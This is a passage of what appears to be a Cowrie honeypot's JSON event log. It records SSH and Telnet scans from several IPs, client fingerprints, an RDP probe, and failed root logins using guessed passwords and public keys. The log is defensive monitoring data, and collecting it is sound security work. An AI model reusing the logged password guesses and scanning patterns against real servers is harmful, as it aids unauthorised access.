{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:13.997114Z","src_ip":"193.32.162.151","session":"16bee66aa25c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":61989,"dst_ip":"10.17.0.5","dst_port":22,"session":"a539376ba2d5","protocol":"ssh","message":"New connection: 167.172.81.52:61989 (10.17.0.5:22) [session: a539376ba2d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:29.627073Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:29.631514Z","src_ip":"167.172.81.52","session":"a539376ba2d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:29.635070Z","src_ip":"167.172.81.52","session":"a539376ba2d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":51804,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0c73be4e3d8","protocol":"ssh","message":"New connection: 193.228.128.84:51804 (159.203.135.109:22) [session: a0c73be4e3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:49.305191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:49.309780Z","src_ip":"193.228.128.84","session":"a0c73be4e3d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:49.414873Z","src_ip":"193.228.128.84","session":"a0c73be4e3d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:49.739993Z","src_ip":"193.228.128.84","session":"a0c73be4e3d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:50.844348Z","src_ip":"193.228.128.84","session":"a0c73be4e3d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54040,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2dd3f662535","protocol":"telnet","message":"New connection: 152.42.224.71:54040 (10.17.0.5:23) [session: e2dd3f662535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:56.767955Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":36240,"dst_ip":"159.203.135.109","dst_port":22,"session":"979222a75865","protocol":"ssh","message":"New connection: 103.195.236.96:36240 (159.203.135.109:22) [session: 979222a75865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:56.858187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:56.863163Z","src_ip":"103.195.236.96","session":"979222a75865","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:57.100416Z","src_ip":"103.195.236.96","session":"979222a75865","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zydfhm","message":"login attempt [root/zydfhm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:57.810154Z","src_ip":"103.195.236.96","session":"979222a75865","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:42:59.049200Z","src_ip":"103.195.236.96","session":"979222a75865","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.90.232.26","src_port":53786,"dst_ip":"10.17.0.5","dst_port":22,"session":"357a623e2d3c","protocol":"ssh","message":"New connection: 209.90.232.26:53786 (10.17.0.5:22) [session: 357a623e2d3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:43:36.567477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:43:36.575713Z","src_ip":"209.90.232.26","session":"357a623e2d3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:43:36.648332Z","src_ip":"209.90.232.26","session":"357a623e2d3c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:95:60:32:cb:02:4a:22:bc:b6:76:73:51:b7:84:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmPi+c5plei0/giH0ViA0jCXn2WdjPutsVhD6ndmSeJ4Y4p+bfgThzgtZagY5Xn4tXdqInbe9igtK91PkfPGPbezL0fQtOmTMT6nK4ZIM/zYLASzkr92IYv5SxtUWAE4ZQZdDRurlJU8WQAmOlET9bV1YSP52K9UL/metY+IFlzfice0OhYD6eKegJPLEMsRuAg4/sHhbm+Vgoi7NOeGqnuI810SeMqbq2ZRd2SoHhWAjfFEQiKIh3zPWexebW0uq1TkJs+Hvhu/cDMzTLwwc2aoWdSiMwMOcgioGv5m9/CTBEpIe7l1J90iO69VG9YWgaqqYtIHkZLi4xDMLBvBCoQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:95:60:32:cb:02:4a:22:bc:b6:76:73:51:b7:84:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:43:36.987087Z","src_ip":"209.90.232.26","session":"357a623e2d3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:95:60:32:cb:02:4a:22:bc:b6:76:73:51:b7:84:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmPi+c5plei0/giH0ViA0jCXn2WdjPutsVhD6ndmSeJ4Y4p+bfgThzgtZagY5Xn4tXdqInbe9igtK91PkfPGPbezL0fQtOmTMT6nK4ZIM/zYLASzkr92IYv5SxtUWAE4ZQZdDRurlJU8WQAmOlET9bV1YSP52K9UL/metY+IFlzfice0OhYD6eKegJPLEMsRuAg4/sHhbm+Vgoi7NOeGqnuI810SeMqbq2ZRd2SoHhWAjfFEQiKIh3zPWexebW0uq1TkJs+Hvhu/cDMzTLwwc2aoWdSiMwMOcgioGv5m9/CTBEpIe7l1J90iO69VG9YWgaqqYtIHkZLi4xDMLBvBCoQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:43:36.990747Z","src_ip":"209.90.232.26","session":"357a623e2d3c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"63:70:eb:65:80:51:45:8c:7b:b9:68:5b:be:44:40:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCi7TcNtGBvrl7QdARBe0hSSR03RVO5U7YjXsvXwICU8lq3hI+pi7lUuSRPGaOxbxvmT1UciJAMr2jECA+pvvRKCrwkrNa9IyC4Zyg/SRtSf3y4bhDn6lQuQUZsIQQ++zjxXv1kL3TdTuF6uVgpcfM98uIyx+5LKJAiP4UdQk6v2JlrRyKQzQkrlc9HGT+JCSV5KQEzMfGJTBD3Qz4NrZcpTwyv3G1mJ8ajv8G+u/XLq8chujChtQ3d5qdKOCpY1PKNMvcyUlh6o8WB3TmoG+NyC4eW5bfsGyf5b7oq+vTqhN2bDE1tbsZRoC7uCOaqKPOcOten9Eobq2ozKhFPvoNiera/3hXxdT/MvUqSZhjRnIag/Cu/DcrIiHXmluwJU5QqgvS9lyBb72FI09NGM4GFtdjLIcIGPfb7XvcwML3Dbv46i2puevqnS2O44u6pEfnqnD65+ca8pVuapZZdRZW/2pencu9DP2Gqwrm6lRnIzvZIjx5RF+gIKEwRWZGtE5zefajbe4oOdeC5ZRfHe+VlH8JLW6jIlCtATHXwIKjdyLBASWpaTeQqDFjGjNY/uliEClBpMOzCRyShZsLvB/zZG8VcUb6g8oJaFOg8HgtqnIo6QylobH5BcZo+R8EvwULf4bptEtxh8msdy1YshlTjta1c1Yp0U4TEnBq7xZhXew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 63:70:eb:65:80:51:45:8c:7b:b9:68:5b:be:44:40:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:43:37.063663Z","src_ip":"209.90.232.26","session":"357a623e2d3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"63:70:eb:65:80:51:45:8c:7b:b9:68:5b:be:44:40:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCi7TcNtGBvrl7QdARBe0hSSR03RVO5U7YjXsvXwICU8lq3hI+pi7lUuSRPGaOxbxvmT1UciJAMr2jECA+pvvRKCrwkrNa9IyC4Zyg/SRtSf3y4bhDn6lQuQUZsIQQ++zjxXv1kL3TdTuF6uVgpcfM98uIyx+5LKJAiP4UdQk6v2JlrRyKQzQkrlc9HGT+JCSV5KQEzMfGJTBD3Qz4NrZcpTwyv3G1mJ8ajv8G+u/XLq8chujChtQ3d5qdKOCpY1PKNMvcyUlh6o8WB3TmoG+NyC4eW5bfsGyf5b7oq+vTqhN2bDE1tbsZRoC7uCOaqKPOcOten9Eobq2ozKhFPvoNiera/3hXxdT/MvUqSZhjRnIag/Cu/DcrIiHXmluwJU5QqgvS9lyBb72FI09NGM4GFtdjLIcIGPfb7XvcwML3Dbv46i2puevqnS2O44u6pEfnqnD65+ca8pVuapZZdRZW/2pencu9DP2Gqwrm6lRnIzvZIjx5RF+gIKEwRWZGtE5zefajbe4oOdeC5ZRfHe+VlH8JLW6jIlCtATHXwIKjdyLBASWpaTeQqDFjGjNY/uliEClBpMOzCRyShZsLvB/zZG8VcUb6g8oJaFOg8HgtqnIo6QylobH5BcZo+R8EvwULf4bptEtxh8msdy1YshlTjta1c1Yp0U4TEnBq7xZhXew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:43:37.067530Z","src_ip":"209.90.232.26","session":"357a623e2d3c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:d3:85:dc:73:d3:3f:c4:41:78:94:00:40:bc:5e:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDLo15gCK/VtvxAxrTQeIi1NHVIUyxbLYBstjAXg0hWkpKkTZ7sfWVmjxeKOOlYBjo9gpClsoBqAKJ9cyYuNAAn4DKTqWYyYiPtyO/wWUU2CjNpKqgrIBF/3K1e32DAzebP6Mk4jBmsqWt3P4nZ2ltmdGZ3VqjF5xi617STcuJrnbx57S+K4vyR6Y4VTi4LWTYSyks4dBad90Q2Dx/9oS3fXWkL6EaGiJb53OceOeprDkoMSG7uc7UZ3LtKzGM94hRl51JcOdLTVjdkOlwiIJc2p6Eo5/z8M6C+PSYAcfU2zgDLGemi0CITeFrfb//7UiP0YDGpSrGJZkwjrMpyuxyUXrSFB8p0PkvyZs9aLd2hv7ox93AylosP8U+dey34p+9MtucA8hoAXxSxEZcqObCE2f/iTVzWnpULxfjNCR/g2PRj9IJx1DJVi5SMR6TQVht/dzQkNRQ4IH2NUjt0lCH371/RPkdYabEETMBaFerIWyE1M8ztoCpEcO2gV/HMKNTXrVfPA3XR75OjVrvwiqf5SAx8r7zKblpq5y6TwZc400uZh1pyWU/Zuk5hm3lOhD/fgbRI7/TODfj38jmb+DAM+MHQDC6oVN5Yk0ASKzFek8uQaOEEVXdsqd9Hf4/+i4wpLtpg3ASb2D3N1nCPcU8hc15DEDYRocwxDNyvaTEQIQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:d3:85:dc:73:d3:3f:c4:41:78:94:00:40:bc:5e:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:43:37.139726Z","src_ip":"209.90.232.26","session":"357a623e2d3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:d3:85:dc:73:d3:3f:c4:41:78:94:00:40:bc:5e:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDLo15gCK/VtvxAxrTQeIi1NHVIUyxbLYBstjAXg0hWkpKkTZ7sfWVmjxeKOOlYBjo9gpClsoBqAKJ9cyYuNAAn4DKTqWYyYiPtyO/wWUU2CjNpKqgrIBF/3K1e32DAzebP6Mk4jBmsqWt3P4nZ2ltmdGZ3VqjF5xi617STcuJrnbx57S+K4vyR6Y4VTi4LWTYSyks4dBad90Q2Dx/9oS3fXWkL6EaGiJb53OceOeprDkoMSG7uc7UZ3LtKzGM94hRl51JcOdLTVjdkOlwiIJc2p6Eo5/z8M6C+PSYAcfU2zgDLGemi0CITeFrfb//7UiP0YDGpSrGJZkwjrMpyuxyUXrSFB8p0PkvyZs9aLd2hv7ox93AylosP8U+dey34p+9MtucA8hoAXxSxEZcqObCE2f/iTVzWnpULxfjNCR/g2PRj9IJx1DJVi5SMR6TQVht/dzQkNRQ4IH2NUjt0lCH371/RPkdYabEETMBaFerIWyE1M8ztoCpEcO2gV/HMKNTXrVfPA3XR75OjVrvwiqf5SAx8r7zKblpq5y6TwZc400uZh1pyWU/Zuk5hm3lOhD/fgbRI7/TODfj38jmb+DAM+MHQDC6oVN5Yk0ASKzFek8uQaOEEVXdsqd9Hf4/+i4wpLtpg3ASb2D3N1nCPcU8hc15DEDYRocwxDNyvaTEQIQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:43:37.143466Z","src_ip":"209.90.232.26","session":"357a623e2d3c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:57:29:7b:98:cd:da:d0:24:d2:8a:99:36:e0:6a:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzJK/6O43pIenWP2dNCJ1JbZCd0CL0CR0t1A0IpVQbvLwtbrxnft5TxYp5LZKBKaSdMgUslD7UpZrdH02woB4ivi8beKsNsJkYtzZQDQN3SEHI0YBp2o26HQ+qX2kezpuaGWq7w78J4GmRjYQTcuvdrPHcpPzseJVgx/9e1VZtl2KhyNwyJTWJecTD4+YgNTwYDhfzSmpuybPEEvJzQi9YS5r/Jpx81ox8tiaUowCxAuNna4bGAq+O/Lith3SV/6xkEu8p9b9FCSW/ZAbjaRYBy9+OYv74ySd28NQIGUvBBXG60s+e7Siun8aD03DM34npeQQgPh4pY4hC5jX3WtI0w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:57:29:7b:98:cd:da:d0:24:d2:8a:99:36:e0:6a:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:43:37.219436Z","src_ip":"209.90.232.26","session":"357a623e2d3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:57:29:7b:98:cd:da:d0:24:d2:8a:99:36:e0:6a:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzJK/6O43pIenWP2dNCJ1JbZCd0CL0CR0t1A0IpVQbvLwtbrxnft5TxYp5LZKBKaSdMgUslD7UpZrdH02woB4ivi8beKsNsJkYtzZQDQN3SEHI0YBp2o26HQ+qX2kezpuaGWq7w78J4GmRjYQTcuvdrPHcpPzseJVgx/9e1VZtl2KhyNwyJTWJecTD4+YgNTwYDhfzSmpuybPEEvJzQi9YS5r/Jpx81ox8tiaUowCxAuNna4bGAq+O/Lith3SV/6xkEu8p9b9FCSW/ZAbjaRYBy9+OYv74ySd28NQIGUvBBXG60s+e7Siun8aD03DM34npeQQgPh4pY4hC5jX3WtI0w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:43:37.222933Z","src_ip":"209.90.232.26","session":"357a623e2d3c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:2a:6e:71:a3:54:7a:d7:6d:00:8f:8b:2a:41:ab:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjpBxhdHZwlikqLnXCg+HGKszC+5Nw6o04dqXYLMzk4VrKcjCQhIp3o1Uw6uKLqY80kQ9prN7sthfd7E2q+RXCVeZ/MucFKVWyLPPAzYqpUC024mSbnxpzpMDmLwY5Or4gtV6N20At9+bQLCThif4Fk8kOZJkDI0hDVgJjqDMoHf/AK/r5cM6Ns80BIlY6qZWPniQ+n3opY5AgE+aPraVXDUsgGyYCL5dgN39PP49K9Piq2jacU5ZnqyvRii41KnrZqy94Y3IKxacTWp48AXJlUUXV46+Vre9yv/CGY1BNPOltt2dQrXtpbrrRKHAiZEa/G0lSVJfBk4uFRc//cakb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint de:2a:6e:71:a3:54:7a:d7:6d:00:8f:8b:2a:41:ab:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:43:37.296233Z","src_ip":"209.90.232.26","session":"357a623e2d3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:2a:6e:71:a3:54:7a:d7:6d:00:8f:8b:2a:41:ab:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjpBxhdHZwlikqLnXCg+HGKszC+5Nw6o04dqXYLMzk4VrKcjCQhIp3o1Uw6uKLqY80kQ9prN7sthfd7E2q+RXCVeZ/MucFKVWyLPPAzYqpUC024mSbnxpzpMDmLwY5Or4gtV6N20At9+bQLCThif4Fk8kOZJkDI0hDVgJjqDMoHf/AK/r5cM6Ns80BIlY6qZWPniQ+n3opY5AgE+aPraVXDUsgGyYCL5dgN39PP49K9Piq2jacU5ZnqyvRii41KnrZqy94Y3IKxacTWp48AXJlUUXV46+Vre9yv/CGY1BNPOltt2dQrXtpbrrRKHAiZEa/G0lSVJfBk4uFRc//cakb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:43:37.300096Z","src_ip":"209.90.232.26","session":"357a623e2d3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:43:37.372521Z","src_ip":"209.90.232.26","session":"357a623e2d3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.168.126","src_port":53624,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2c88acfabd5","protocol":"ssh","message":"New connection: 43.135.168.126:53624 (159.203.135.109:22) [session: a2c88acfabd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:43:55.556513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:43:55.561584Z","src_ip":"43.135.168.126","session":"a2c88acfabd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 